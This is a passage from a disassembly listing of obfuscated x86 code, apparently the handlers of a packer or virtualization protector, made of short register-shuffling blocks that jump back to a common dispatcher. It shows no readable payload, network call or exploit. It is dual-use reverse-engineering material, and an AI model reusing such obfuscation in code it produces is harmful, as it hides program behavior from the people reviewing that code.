		mov	[esp], ebx
		jmp	loc_5810E4
; ---------------------------------------------------------------------------


loc_58BC90:				; CODE XREF: ud2_____:00587F63j
		add	esp, 4
		mov	[edi+eax*4+1], bl
		pop	ebx
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_58BC9D:				; CODE XREF: ud2_____:0057F909j
		pop	esp
		jmp	loc_585A68
; ---------------------------------------------------------------------------


loc_58BCA3:				; CODE XREF: ud2_____:00581389j
		mov	dh, 52h
		xor	dh, ch
		pop	ecx
		push	edx
		mov	dl, 0
		jmp	loc_5823F9
; ---------------------------------------------------------------------------


loc_58BCB0:				; CODE XREF: ud2_____:00589229j
		not	edx
		and	edx, 6B0808C5h
		shr	edx, 2
		shr	edx, 6
		jmp	loc_58B199
; ---------------------------------------------------------------------------


loc_58BCC3:				; CODE XREF: ud2_____:005881C1j
		neg	eax
		not	eax
		jmp	loc_58022B
; ---------------------------------------------------------------------------


loc_58BCCC:				; CODE XREF: ud2_____:005927A7j
		add	eax, ecx
		pop	ecx
		jmp	loc_57FBAD
; ---------------------------------------------------------------------------


loc_58BCD4:				; CODE XREF: ud2_____:00581023j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_5916CB
; ---------------------------------------------------------------------------


loc_58BCE8:				; CODE XREF: ud2_____:0057FC30j
		xor	[esp], edi
		jmp	loc_58D27D
; ---------------------------------------------------------------------------


loc_58BCF0:				; CODE XREF: ud2_____:0058B18Ej
		mov	eax, 0C570C9Ch
		mov	ebp, 0C570CA0h
		sub	ebp, eax
		pop	eax
		add	ecx, ebp
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		push	ebp
		push	eax
		mov	eax, esp
		jmp	loc_58BB3A
; ---------------------------------------------------------------------------


loc_58BD14:				; CODE XREF: ud2_____:005865CDj
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		push	edi
		push	esp
		pop	edi
		push	esi
		jmp	loc_57EE75
; ---------------------------------------------------------------------------


loc_58BD27:				; CODE XREF: ud2_____:00582C04j
		xor	ebp, ecx
		mov	ecx, [esp]
		jmp	loc_591D49
; ---------------------------------------------------------------------------


loc_58BD31:				; CODE XREF: ud2_____:00581316j
		pop	eax
		push	esi
		jmp	loc_587B61
; ---------------------------------------------------------------------------


loc_58BD38:				; CODE XREF: ud2_____:0058B940j
		xchg	edi, [esp]
		jmp	loc_57EFE5
; ---------------------------------------------------------------------------


loc_58BD40:				; CODE XREF: ud2_____:0058ABF8j
		mov	bh, ch
		jmp	loc_58368B
; ---------------------------------------------------------------------------


loc_58BD47:				; CODE XREF: ud2_____:0057FF1Cj
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_592A58
; ---------------------------------------------------------------------------


loc_58BD55:				; CODE XREF: ud2_____:00587AACj
		mov	esp, [esp]
		mov	[esp], ebx
		mov	ebx, 1F19FCC2h
		xor	eax, ebx
		pop	ebx
		xor	ebx, eax
		movzx	ax, byte ptr [eax]
		push	small 67ABh
		jmp	loc_58E5CF
; ---------------------------------------------------------------------------


loc_58BD72:				; CODE XREF: ud2_____:0058CB08j
		mov	ebp, [esp]
		add	esp, 4
		sub	edi, ebp
		add	edi, 66346AECh
		xor	ebp, edi
		xor	edi, ebp
		xor	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		push	eax
		mov	eax, 2F0D696Ch
		xor	ebp, eax
		pop	eax
		shr	ebp, 3
		neg	ebp
		sub	ebp, 0E2E18703h
		add	ecx, ebp
		jmp	loc_585432
; ---------------------------------------------------------------------------


loc_58BDA7:				; CODE XREF: ud2_____:005864C1j
		mov	ebp, 21245DEEh
		sub	ecx, ebp
		pop	ebp
		jmp	loc_58B44D
; ---------------------------------------------------------------------------


loc_58BDB4:				; CODE XREF: ud2_____:00592B4Cj
		pop	edx
		sub	ecx, eax
		jmp	loc_580A6B
; ---------------------------------------------------------------------------


loc_58BDBC:				; CODE XREF: ud2_____:0058CC85j
		mov	[esp], ecx
		jmp	loc_57E9B9
; ---------------------------------------------------------------------------


loc_58BDC4:				; CODE XREF: ud2_____:0058467Aj
		sub	edi, ebx
		pop	ebx
		jmp	loc_57F959
; ---------------------------------------------------------------------------
		lodsb
		xor	al, bl
		push	esi
		push	esp
		jmp	loc_58FBB2
; ---------------------------------------------------------------------------


loc_58BDD6:				; CODE XREF: ud2_____:0058F3B6j
		pop	esp
		mov	[esp], ecx
		jmp	loc_582A0B
; ---------------------------------------------------------------------------


loc_58BDDF:				; CODE XREF: ud2_____:0057E82Dj
		shl	edx, 2
		xor	edx, 3FB57CA9h
		add	edx, 239E733Fh
		add	esi, edx
		pop	edx
		sub	esp, 4
		jmp	loc_58120B
; ---------------------------------------------------------------------------


loc_58BDFC:				; CODE XREF: ud2_____:0058E641j
		mov	[esp], esi
		mov	ebp, [esp]
		add	esp, 4
		mov	esi, [esp]
		jmp	loc_58BB44
; ---------------------------------------------------------------------------


loc_58BE10:				; CODE XREF: ud2_____:0058A00Aj
		pop	esi
		jmp	loc_5824A0
; ---------------------------------------------------------------------------


loc_58BE16:				; CODE XREF: ud2_____:0059205Fj
		add	esp, 4
		add	ch, dh
		mov	edx, [esp]
		add	esp, 4
		push	76h
		mov	[esp], eax
		jmp	loc_58F2DD
; ---------------------------------------------------------------------------


loc_58BE2E:				; CODE XREF: ud2_____:00582CD7j
		add	esp, 4
		add	esp, 4
		add	eax, ecx
		pop	ecx
		push	esi
		mov	esi, 2CA85C4Ch
		add	eax, esi
		pop	esi
		jmp	loc_58BE9D
; ---------------------------------------------------------------------------


loc_58BE45:				; CODE XREF: ud2_____:00592568j
		mov	esi, 3F0E3AE2h
		or	eax, esi
		mov	esi, [esp]
		sub	esp, 4
		mov	[esp], edi
		push	esp
		pop	edi
		add	edi, 4
		push	ecx
		mov	ecx, 0F93196Eh
		sub	ecx, 309B1A6Bh
		shr	ecx, 2
		jmp	loc_59263E
; ---------------------------------------------------------------------------


loc_58BE74:				; CODE XREF: ud2_____:0058B252j
		mov	edi, esp
		jmp	loc_58BC68
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	eax
		jmp	loc_592D35
; ---------------------------------------------------------------------------


loc_58BE84:				; CODE XREF: ud2_____:0058CD43j
		push	3C3Ah
		mov	[esp], ebx
		mov	ebx, 0CA4143DBh
		jmp	loc_58618A
; ---------------------------------------------------------------------------


loc_58BE96:				; CODE XREF: ud2_____:0057F207j
		and	edi, eax
		jmp	loc_5904FB
; ---------------------------------------------------------------------------


loc_58BE9D:				; CODE XREF: ud2_____:0058BE40j
		sub	eax, 1
		add	eax, 48E18C89h
		mov	ebx, eax
		jmp	loc_5929E7
; ---------------------------------------------------------------------------


loc_58BEAC:				; CODE XREF: ud2_____:0057ECF6j
		push	eax
		mov	eax, 30617CB9h
		sub	eax, 0FFFFFFFFh
		sub	eax, 30617CB6h
		add	ecx, eax
		pop	eax
		push	361Bh
		mov	[esp], edi
		mov	edi, 4
		sub	ecx, 172D4804h
		add	ecx, edi
		add	ecx, 172D4804h
		jmp	loc_59272D
; ---------------------------------------------------------------------------


loc_58BEDD:				; CODE XREF: ud2_____:00589806j
		mov	eax, esp
		add	eax, 4
		push	ebx
		mov	ebx, 4
		add	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		jmp	loc_590159
; ---------------------------------------------------------------------------


loc_58BEFD:				; CODE XREF: ud2_____:00586037j
		add	ebx, 0B29715Bh
		add	ebx, 55F121C4h
		add	ebx, ecx
		jmp	loc_588219
; ---------------------------------------------------------------------------


loc_58BF10:				; CODE XREF: ud2_____:0058351Cj
		pop	edi
		jmp	loc_59208D
; ---------------------------------------------------------------------------


loc_58BF16:				; CODE XREF: ud2_____:00587DA4j
		push	ecx
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 1996E62h
		jmp	loc_58B115
; ---------------------------------------------------------------------------


loc_58BF27:				; CODE XREF: ud2_____:0058108Ej
		dec	ch
		xor	ch, 79h
		push	ebx
		mov	bl, 52h
		xor	bl, 0C6h
		and	ch, bl
		jmp	loc_58949F
; ---------------------------------------------------------------------------


loc_58BF39:				; CODE XREF: ud2_____:0058EA9Cj
		mov	edi, [esp]
		add	esp, 4
		add	ebp, eax
		pop	eax
		push	edx
		mov	edx, 2
		sub	ebp, 73E50C10h
		jmp	loc_5898A7
; ---------------------------------------------------------------------------


loc_58BF53:				; CODE XREF: ud2_____:0058BAECj
		xor	[esp], ebx
		xor	ebx, [esp]
		xor	[esp], ebx
		mov	eax, [esp]
		add	esp, 4
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_581FE7
; ---------------------------------------------------------------------------


loc_58BF73:				; CODE XREF: ud2_____:0058CB82j
		push	dword ptr [esp]
		jmp	loc_58A774
; ---------------------------------------------------------------------------


loc_58BF7B:				; CODE XREF: ud2_____:00586C24j
		not	edx
		xchg	eax, edx
		not	eax
		xchg	eax, edx
		jmp	loc_590CA7
; ---------------------------------------------------------------------------


loc_58BF86:				; CODE XREF: ud2_____:0058870Fj
		xor	[esp], edi
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		jmp	loc_58F970
; ---------------------------------------------------------------------------


loc_58BF95:				; CODE XREF: ud2_____:0058AFABj
		mov	[esp], ebx
		mov	ebx, 4BCF2FDCh
		sub	edx, 614668ECh
		sub	edx, ebx
		add	edx, 614668ECh
		jmp	loc_58BFBE
; ---------------------------------------------------------------------------


loc_58BFB0:				; CODE XREF: ud2_____:0058A147j
		pop	ebp
		sub	ecx, 5756E36Bh
		sub	ebx, ecx
		jmp	loc_5910CC
; ---------------------------------------------------------------------------


loc_58BFBE:				; CODE XREF: ud2_____:0058BFABj
		pop	ebx
		push	edx
		jmp	loc_589A1A
; ---------------------------------------------------------------------------


loc_58BFC5:				; CODE XREF: ud2_____:00586852j
		add	edx, 4FD96246h
		jmp	loc_591E4B
; ---------------------------------------------------------------------------


loc_58BFD0:				; CODE XREF: ud2_____:0057FE3Bj
		pop	esi
		and	eax, edx
		jmp	loc_584932
; ---------------------------------------------------------------------------


loc_58BFD8:				; CODE XREF: ud2_____:005819F1j
		shl	bh, 6
		inc	bh
		not	bh
		neg	bh
		xor	bh, 0FBh
		add	al, bh
		pop	ebx
		add	ch, al
		pop	eax
		jmp	loc_590983
; ---------------------------------------------------------------------------


loc_58BFEF:				; CODE XREF: ud2_____:0058B259j
		add	ebp, 0A952622h
		jmp	loc_58EEEC
; ---------------------------------------------------------------------------


loc_58BFFA:				; CODE XREF: ud2_____:0058C518j
		pop	ecx
		jmp	loc_591E84
; ---------------------------------------------------------------------------


loc_58C000:				; CODE XREF: ud2_____:005826F0j
		mov	[esp], ebx
		push	eax
		push	0C60h
		mov	[esp], esi
		push	2675573Eh
		pop	esi
		add	esi, 0D98AA8C6h
		mov	eax, esi
		pop	esi
		jmp	loc_582CDC
; ---------------------------------------------------------------------------


loc_58C020:				; CODE XREF: ud2_____:005812AEj
		pop	ebp
		jmp	loc_5865D8
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_590BC8
; ---------------------------------------------------------------------------


loc_58C035:				; CODE XREF: ud2_____:005897AFj
		mov	[esp], ebx
		push	esi
		pop	ebx
		mov	eax, ebx
		pop	ebx
		push	dword ptr [esp]
		jmp	loc_58945F
; ---------------------------------------------------------------------------


loc_58C045:				; CODE XREF: ud2_____:0058EA79j
		not	edi
		jmp	loc_5841BD
; ---------------------------------------------------------------------------
		pop	dword ptr [edi+40h]
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_58C054:				; CODE XREF: ud2_____:00587BEAj
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, 6E07037Ah
		mov	ebp, esi
		pop	esi
		push	ebx
		push	edx
		jmp	loc_590E3A
; ---------------------------------------------------------------------------


loc_58C075:				; CODE XREF: ud2_____:00586A95j
		mov	ebp, [esp]
		add	esp, 4
		or	ebp, edx
		pop	edx
		jmp	loc_5928BA
; ---------------------------------------------------------------------------


loc_58C083:				; CODE XREF: ud2_____:0058B2C7j
		add	esi, ecx
		pop	ecx
		push	ebp
		push	esp
		pop	ebp
		jmp	loc_588143
; ---------------------------------------------------------------------------


loc_58C08E:				; CODE XREF: ud2_____:00586F4Aj
		add	ebx, ecx
		pop	ecx
		xchg	ebp, ebx
		push	ebp
		not	dword ptr [esp]
		pop	ebp
		xchg	ebp, ebx
		dec	ebx
		neg	ebx
		add	ebx, 0B502717Dh
		sub	ebp, ebx
		pop	ebx
		sub	ebp, 1
		push	ebp
		mov	ebp, esp
		jmp	loc_582BB0
; ---------------------------------------------------------------------------


loc_58C0B1:				; CODE XREF: ud2_____:0058BB35j
		mov	esi, [esp]
		add	esp, 4
		xor	esi, 2B2854BAh
		and	esi, 61FF2E6Ch
		shl	esi, 3
		jmp	loc_586D5A
; ---------------------------------------------------------------------------


loc_58C0CE:				; CODE XREF: ud2_____:0057E83Fj
		add	edi, 0FFFFFFFFh
		inc	edi
		jmp	loc_590FD1
; ---------------------------------------------------------------------------


loc_58C0D7:				; CODE XREF: ud2_____:005910D4j
		add	ebx, 8226239h
		sub	ebx, 4E3F4831h
		jmp	loc_5897E0
; ---------------------------------------------------------------------------


loc_58C0E8:				; CODE XREF: ud2_____:00580296j
		xor	eax, 38607745h
		add	eax, 2B3DC0C6h
		add	edx, eax
		jmp	loc_581CC4
; ---------------------------------------------------------------------------


loc_58C0F9:				; CODE XREF: ud2_____:0058FFB0j
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		push	76A7h
		mov	[esp], ebx
		mov	ebx, 0C545875h
		jmp	loc_58E596
; ---------------------------------------------------------------------------


loc_58C117:				; CODE XREF: ud2_____:0058574Bj
		add	al, 3Eh
		jmp	loc_5877E5
; ---------------------------------------------------------------------------


loc_58C11E:				; CODE XREF: ud2_____:0058492Dj
		mov	esp, [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_58CF52
; ---------------------------------------------------------------------------


loc_58C138:				; CODE XREF: ud2_____:0057FD5Dj
		pop	esp
		or	[esp], ax
		pushf
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_58C143:				; CODE XREF: ud2_____:00583F79j
		pop	ebx
		push	7FA5h
		jmp	loc_581028
; ---------------------------------------------------------------------------


loc_58C14E:				; CODE XREF: ud2_____:0058935Dj
		mov	dh, 7Ah
		mov	bl, 0DFh
		xor	bl, dh
		pop	edx
		sub	al, bl
		pop	ebx
		jmp	loc_584C33
; ---------------------------------------------------------------------------


loc_58C15D:				; CODE XREF: ud2_____:0058CA40j
		add	esp, 4
		mov	ebx, [esp]
		add	esp, 4
		inc	ebp
		xor	ebp, 0F623ED75h
		and	[edi+1Ch], ebp
		jmp	loc_582611
; ---------------------------------------------------------------------------


loc_58C178:				; CODE XREF: ud2_____:005924AFj
		push	3FABh
		mov	[esp], esi
		jmp	loc_5803EC
; ---------------------------------------------------------------------------


loc_58C185:				; CODE XREF: ud2_____:0058E8E6j
		pop	eax
		add	esi, ebp
		jmp	loc_580CD3
; ---------------------------------------------------------------------------


loc_58C18D:				; CODE XREF: ud2_____:0058B7B9j
		mov	esi, 4
		add	edx, 354F5C54h
		jmp	loc_58D6CF
; ---------------------------------------------------------------------------


loc_58C19D:				; CODE XREF: ud2_____:00584ECCj
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_58D19E
; ---------------------------------------------------------------------------


loc_58C1AE:				; CODE XREF: ud2_____:0058F5CAj
		mov	esi, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_588893
; ---------------------------------------------------------------------------


loc_58C1BE:				; CODE XREF: ud2_____:00591DEEj
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		bts	[esp], ax
		pushf
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_58C1ED:				; CODE XREF: ud2_____:00583945j
		push	30B5h
		jmp	loc_5804D4
; ---------------------------------------------------------------------------


loc_58C1F7:				; CODE XREF: ud2_____:005905BCj
		pop	esi
		shr	esi, 1
		push	4AD0h
		mov	[esp], eax
		jmp	loc_589BB1
; ---------------------------------------------------------------------------
		push	64D0h
		jmp	loc_582830
; ---------------------------------------------------------------------------


loc_58C211:				; CODE XREF: ud2_____:00581999j
		mov	[esp], esi
		push	esp
		jmp	loc_589D53
; ---------------------------------------------------------------------------


loc_58C21A:				; CODE XREF: ud2_____:0057F682j
		shr	ebp, 2
		add	ebp, 1A8460E7h
		jmp	loc_5839D0
; ---------------------------------------------------------------------------


loc_58C228:				; CODE XREF: ud2_____:0057FC65j
		sub	edx, 0F334EA5h
		jmp	loc_5819F6
; ---------------------------------------------------------------------------


loc_58C233:				; CODE XREF: ud2_____:00586946j
		shl	ebp, 7
		push	ebx
		jmp	loc_585661
; ---------------------------------------------------------------------------


loc_58C23C:				; CODE XREF: ud2_____:0058B2F6j
		pop	ebx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		add	eax, 2
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		shr	word ptr [esp],	cl
		pushf
		jmp	loc_581667
; ---------------------------------------------------------------------------


loc_58C25D:				; CODE XREF: ud2_____:00582B46j
		pop	ebx
		sub	eax, edi
		jmp	loc_58DDFF
; ---------------------------------------------------------------------------


loc_58C265:				; CODE XREF: ud2_____:0058184Dj
		add	esp, 4
		push	dx
		mov	dl, 36h
		sub	al, dl
		jmp	loc_5832D2
; ---------------------------------------------------------------------------


loc_58C273:				; CODE XREF: ud2_____:0058EE43j
		push	3EC6h
		mov	[esp], eax
		mov	eax, 73DECFC9h
		sub	edi, 3DA3D5Dh
		sub	edi, eax
		jmp	loc_589A31
; ---------------------------------------------------------------------------


loc_58C28D:				; CODE XREF: ud2_____:0058A69Bj
		mov	[esp], ebp
		mov	ebp, 0FFFFFFFFh
		add	eax, ebp
		pop	ebp
		push	edx
		mov	edx, 1A91DBCh
		push	ebx
		push	5A3C21F2h
		pop	ebx
		add	edx, ebx
		jmp	loc_57E780
; ---------------------------------------------------------------------------


loc_58C2AC:				; CODE XREF: ud2_____:0057E36Aj
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], edi
		push	dword ptr [esp+4]
		mov	edi, [esp]
		jmp	loc_585931
; ---------------------------------------------------------------------------


loc_58C2CA:				; CODE XREF: ud2_____:0058FD5Fj
		pop	edi
		push	ebx
		mov	ebx, 236B54A7h
		jmp	loc_581CB3
; ---------------------------------------------------------------------------


loc_58C2D6:				; CODE XREF: ud2_____:00580172j
		mov	[esp], esi
		mov	esi, 4
		add	ecx, esi
		mov	esi, [esp]
		jmp	loc_586178
; ---------------------------------------------------------------------------


loc_58C2E8:				; CODE XREF: ud2_____:0058A4F1j
		xchg	ecx, [esp]
		pop	esp
		push	dword ptr [esp]
		mov	ebx, [esp]
		push	1C7h
		mov	[esp], ebp
		push	esp
		pop	ebp
		add	ebp, 4
		push	esi
		mov	esi, 4
		add	ebp, esi
		jmp	loc_591AA4
; ---------------------------------------------------------------------------


loc_58C30F:				; CODE XREF: ud2_____:00591DD3j
		sub	ecx, edx
		pop	edx
		xor	esi, ecx
		pop	ecx
		and	ecx, esi
		jmp	loc_57EA52
; ---------------------------------------------------------------------------


loc_58C31C:				; CODE XREF: ud2_____:005885DDj
		add	ebx, 410778DAh
		shr	ebx, 1
		inc	ebx
		add	ebx, 0AD4194C0h
		jmp	loc_58AF4A
; ---------------------------------------------------------------------------


loc_58C330:				; CODE XREF: ud2_____:0058C447j
		push	eax
		push	esi
		push	489353F4h
		jmp	loc_58671E
; ---------------------------------------------------------------------------


loc_58C33C:				; CODE XREF: ud2_____:0059255Aj
		mov	bl, 0D8h
		xor	bl, ah
		jmp	loc_5841CC
; ---------------------------------------------------------------------------


loc_58C345:				; CODE XREF: ud2_____:00586BFAj
		shr	cx, 7
		push	di
		mov	di, 4Fh
		sub	cx, di
		pop	di
		mov	ax, cx
		pop	ecx
		mov	bp, ax
		jmp	loc_57EE90
; ---------------------------------------------------------------------------


loc_58C360:				; CODE XREF: ud2_____:00583527j
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_58C36B:				; CODE XREF: ud2_____:0058A666j
		xor	ebp, 72167476h
		jmp	loc_582D42
; ---------------------------------------------------------------------------


loc_58C376:				; CODE XREF: ud2_____:0057F040j
		pop	esi
		shr	eax, 7
		push	ebp
		push	eax
		push	37E80185h
		mov	eax, [esp]
		jmp	loc_58D268
; ---------------------------------------------------------------------------


loc_58C389:				; CODE XREF: ud2_____:0057F596j
		mov	[esp], edx
		mov	edx, esp
		push	ecx
		push	ebx
		jmp	loc_58D8FC
; ---------------------------------------------------------------------------


loc_58C395:				; CODE XREF: ud2_____:0058B64Ej
		xor	ebp, edx
		jmp	loc_58679E
; ---------------------------------------------------------------------------


loc_58C39C:				; CODE XREF: ud2_____:005814AEj
		mov	ebp, 2C352454h
		and	ebx, ebp
		pop	ebp
		jmp	loc_58E559
; ---------------------------------------------------------------------------


loc_58C3A9:				; CODE XREF: ud2_____:00585F4Dj
		mov	esp, [esp]
		jmp	loc_58E929
; ---------------------------------------------------------------------------


loc_58C3B1:				; CODE XREF: ud2_____:0059295Dj
		xor	eax, [esp]
		mov	esp, [esp]
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, 4
		sub	esi, 3F7B4E8Dh
		add	esi, 5337522Dh
		add	esi, eax
		jmp	loc_581531
; ---------------------------------------------------------------------------


loc_58C3EB:				; CODE XREF: ud2_____:00581739j
		add	cl, ah
		jmp	loc_587E58
; ---------------------------------------------------------------------------


loc_58C3F2:				; CODE XREF: ud2_____:005817B3j
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[esp], esi
		mov	esi, 9E0A77h
		xor	edi, esi
		pop	esi
		push	esi
		mov	esi, 4D955BD2h
		shl	esi, 5
		sub	esi, 281E0A61h
		and	esi, 1E931DE3h
		jmp	loc_5843C3
; ---------------------------------------------------------------------------


loc_58C429:				; CODE XREF: ud2_____:0058DA80j
		push	edx
		push	eax
		mov	al, 5Fh
		mov	dh, al
		pop	eax
		jmp	loc_580FA9
; ---------------------------------------------------------------------------


loc_58C435:				; CODE XREF: ud2_____:loc_588404j
		shr	edx, 1
		cmp	eax, edx
		jz	loc_57F18A
		push	3346h
		mov	[esp], ecx
		jmp	loc_58C330
; ---------------------------------------------------------------------------


loc_58C44C:				; CODE XREF: ud2_____:0058DE88j
		or	eax, ebp
		jmp	loc_58E1B1
; ---------------------------------------------------------------------------


loc_58C453:				; CODE XREF: ud2_____:0058249Bj
		push	ebx
		push	esp
		pop	ebx
		push	esi
		mov	esi, 4
		add	ebx, esi
		pop	esi
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		mov	ebx, 1
		push	eax
		mov	eax, 24h
		add	eax, edi
		add	[eax], ebx
		jmp	loc_57E50C
; ---------------------------------------------------------------------------


loc_58C489:				; CODE XREF: ud2_____:0057E8B0j
		add	al, 9
		add	al, bl
		jmp	loc_57F20C
; ---------------------------------------------------------------------------


loc_58C492:				; CODE XREF: ud2_____:005917A3j
		sub	edi, edx
		pop	edx
		add	ebx, 15D006D3h
		add	ebx, edi
		sub	ebx, 15D006D3h
		mov	edi, [esp]
		push	ebp
		jmp	loc_57F3A1
; ---------------------------------------------------------------------------


loc_58C4AC:				; CODE XREF: ud2_____:0058B12Ej
		add	ebx, 6F095405h
		sub	ebx, 1E96168Dh
		not	ebx
		and	ebx, 6E165210h
		sub	ebx, 0F1F4EEFAh
		mov	edx, ebx
		pop	ebx
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_58C4CE:				; CODE XREF: ud2_____:0058D595j
		add	eax, 4
		add	eax, 4
		jmp	loc_590469
; ---------------------------------------------------------------------------


loc_58C4DD:				; CODE XREF: ud2_____:00589582j
		pop	ebp
		xor	ebp, 6BA9778Ch
		pop	edi
		dec	ebp
		or	ebp, 6EBB5145h
		not	ebp
		shl	ebp, 6
		sub	ebp, 402209FCh
		add	ebx, ebp
		jmp	loc_58CF40
; ---------------------------------------------------------------------------


loc_58C4FE:				; CODE XREF: ud2_____:00590EDFj
		pop	esi
		shl	esi, 4
		push	ebp
		mov	ebp, 0A3E3577Ch
		sub	esi, ebp
		pop	ebp
		jmp	loc_57F383
; ---------------------------------------------------------------------------


loc_58C510:				; CODE XREF: ud2_____:0058B384j
		sub	ecx, 0DDC171B7h
		mov	esi, ecx
		jmp	loc_58BFFA
; ---------------------------------------------------------------------------


loc_58C51D:				; CODE XREF: ud2_____:005844DFj
		add	[esp], al
		pushf
		jmp	loc_58985C
; ---------------------------------------------------------------------------


loc_58C526:				; CODE XREF: ud2_____:0057E8D2j
		push	ebp
		push	1381h
		mov	[esp], ecx
		push	edx
		mov	edx, 7B7C1E15h
		jmp	loc_580680
; ---------------------------------------------------------------------------


loc_58C53A:				; CODE XREF: ud2_____:0057F808j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_58BAF1
; ---------------------------------------------------------------------------


loc_58C54B:				; CODE XREF: ud2_____:0058A9A3j
		push	dword ptr [esp+4]
		pop	ecx
		jmp	loc_58338A
; ---------------------------------------------------------------------------


loc_58C555:				; CODE XREF: ud2_____:0058E043j
		add	edx, edi
		sub	edx, 437371E8h
		sub	edx, 5EFE7F44h
		pop	edi
		sub	edx, 4
		jmp	loc_586593
; ---------------------------------------------------------------------------


loc_58C56C:				; CODE XREF: ud2_____:0057EA53j
		shr	ecx, 7
		jmp	loc_58237E
; ---------------------------------------------------------------------------


loc_58C574:				; CODE XREF: ud2_____:00592B89j
		sub	ebp, 0A7E0E0Ah
		sub	ebp, 3F5E2EB4h
		jmp	loc_5874EC
; ---------------------------------------------------------------------------


loc_58C585:				; CODE XREF: ud2_____:00581590j
		pop	ecx
		add	edx, esi
		jmp	loc_58A2AC
; ---------------------------------------------------------------------------


loc_58C58D:				; CODE XREF: ud2_____:00585F1Aj
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_58694B
; ---------------------------------------------------------------------------


loc_58C597:				; CODE XREF: ud2_____:0058FFA0j
		mov	edx, esp
		push	ebx
		jmp	loc_587432
; ---------------------------------------------------------------------------


loc_58C59F:				; CODE XREF: ud2_____:00590022j
		pop	esp
		jmp	loc_589149
; ---------------------------------------------------------------------------


loc_58C5A5:				; CODE XREF: ud2_____:0058676Fj
		or	edi, 7020BCCh
		xor	edi, 0AF82FBECh
		mov	esi, edi
		pop	edi
		add	edx, esi
		pop	esi
		xchg	ecx, edx
		not	ecx
		xchg	ecx, edx
		jmp	loc_59206A
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	ecx
		sub	esp, 4
		mov	[esp], esp
		push	ebp
		push	ebx
		mov	ebx, 1D7F4559h
		mov	ebp, 1D7F455Dh
		xor	ebp, ebx
		pop	ebx
		add	[esp+4], ebp
		pop	ebp
		mov	ecx, [esp]
		push	262Ch
		jmp	loc_58165D
; ---------------------------------------------------------------------------


loc_58C5EE:				; CODE XREF: ud2_____:0058CC6Dj
		mov	ecx, esp
		push	edi
		jmp	loc_583293
; ---------------------------------------------------------------------------


loc_58C5F6:				; CODE XREF: ud2_____:00585554j
		push	ebp
		mov	ebp, esp
		push	edx
		mov	edx, 25D464A5h
		shl	edx, 5
		not	edx
		or	edx, 103B154Dh
		xor	edx, 2E802C1h
		sub	edx, 57937D9Ah
		sub	ebp, 1A4644DFh
		add	ebp, edx
		add	ebp, 1A4644DFh
		pop	edx
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_58A2A5
; ---------------------------------------------------------------------------


loc_58C63A:				; CODE XREF: ud2_____:0057EDACj
		add	al, 0D1h
		sub	al, cl
		sub	al, 0D1h
		pop	ecx
		mov	bl, al
		jmp	loc_590FF1
; ---------------------------------------------------------------------------


loc_58C648:				; CODE XREF: ud2_____:0058E9D2j
		pop	edi
		xor	edx, 62BA18E0h
		jmp	loc_586774
; ---------------------------------------------------------------------------


loc_58C654:				; CODE XREF: ud2_____:005840D6j
		add	al, bh
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_584CDA
; ---------------------------------------------------------------------------


loc_58C664:				; CODE XREF: ud2_____:00587FC5j
		push	69B8h
		mov	[esp], ebx
		push	esp
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_591C31
; ---------------------------------------------------------------------------


loc_58C676:				; CODE XREF: ud2_____:00584BECj
		mov	ebx, 50FC423Eh
		or	ebx, 39B231D8h
		inc	ebx
		not	ebx
		sub	ebx, 114A4C25h
		push	esi
		push	8B48C029h
		pop	esi
		jmp	loc_584A59
; ---------------------------------------------------------------------------


loc_58C696:				; CODE XREF: ud2_____:0058FBADj
		sub	ch, 0E4h
		sub	ch, 8Ch
		mov	bx, [esp]
		jmp	loc_580223
